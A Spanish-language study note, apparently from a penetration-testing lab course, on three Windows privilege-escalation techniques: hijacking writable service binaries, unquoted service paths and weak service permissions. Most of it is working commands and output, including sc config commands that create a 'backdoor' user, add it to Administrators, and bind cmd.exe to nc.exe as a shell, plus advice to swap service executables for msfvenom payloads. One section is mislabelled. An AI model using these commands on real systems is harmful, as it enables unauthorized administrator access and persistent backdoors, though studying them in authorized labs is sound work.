Vamos a ver tres métodos para hacer privilege escalation en windows.
1.- Cuando tenemos permiso para escribir en algun folder donde hay algun servicio que empieza automáticamente o que lo podemos reiniciar o lo podemos DOS y windows lo reinicia automaticamente
2 .- Cuando el serivce path no tiene ” por ejemplo.
C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe //vs "C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe"
En el de arriba podemos injectar un programa en C:\Program.exe o C:\Program Files (x86)\Canon\IJ.exe
3 Cuando los permisos del servicio son debiles (Weak service permisions)
Veamos el método 1 cuando tenemos permiso para modificar un archivo.
Prerequisitos (pdf lab)
- Podemos modificar el archivo (Icalcs)
- El archivo corre como admin (wmic service)
- Podemos reiniciarlo (“sc stop/sc start” o la computadora “shutdown /r /t 0”)
Primero revisamos que esta corriendo
C:\Windows\system32>net start net start These Windows services are started: Base Filtering Engine COM+ Event System COM+ System Application ...
O con wmic
C:\Windows\system32>wmic service list brief wmic service list brief ExitCode Name ProcessId StartMode State Status 0 AeLookupSvc 0 Manual Stopped OK 1077 ALG 0 Manual Stopped OK
o la versión larga (que me dará si corre como local admin)
C:\Users\els>wmic service
Para revisar si tenemos permisos
C:\Windows\system32>icacls C:\windows\system32 icacls C:\windows\system32 C:\windows\system32 NT SERVICE\TrustedInstaller:(F) NT SERVICE\TrustedInstaller:(CI)(IO)(F) NT AUTHORITY\SYSTEM:(M) NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F) BUILTIN\Administrators:(M) BUILTIN\Administrators:(OI)(CI)(IO)(F) BUILTIN\Users:(RX)
Solo tenemos read y execute (RX)
Icalcs me puede dar
F (full access) M (modify access) RX (read and execute access) R (read-only access) W (write-only access)
Para la lista de los que podemos modificar sin ser admins
C:\Windows\system32>wmic service WHERE "NOT PathName LIKE '%system32%'" GET PathName, Name wmic service WHERE "NOT PathName LIKE '%system32%'" GET PathName, Name Name PathName clr_optimization_v2.0.50727_32 C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe ehRecvr C:\Windows\ehome\ehRecvr.exe ehSched C:\Windows\ehome\ehsched.exe
Si podemos hacer esto solo tenemos que modificar el exe por alguno creado por msfvenom y reiniciar la computadora o el servicio.
Método 2 unquoted service path.
(video y presentacion)
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ //o sc qc "Some Vulnerable Service"
Revisamos que el servicio corra como local admin
Y que podamos modificar algun folder del path .
Luego subimos el payload de msfvenom a VMware.exe del ejemplo anterior y reiniciamos el servicio (o la computadora)
Método 2 unquoted service path.
(lab .14)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
Si te sale algo pudes modificar el binario
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS $ sc config <vuln-service> binpath="net user backdoor backdoor123 /add" $ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop <vuln-service> $ sc start <vuln-service> $ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add" $ sc stop <vuln-service> $ sc start <vuln-service>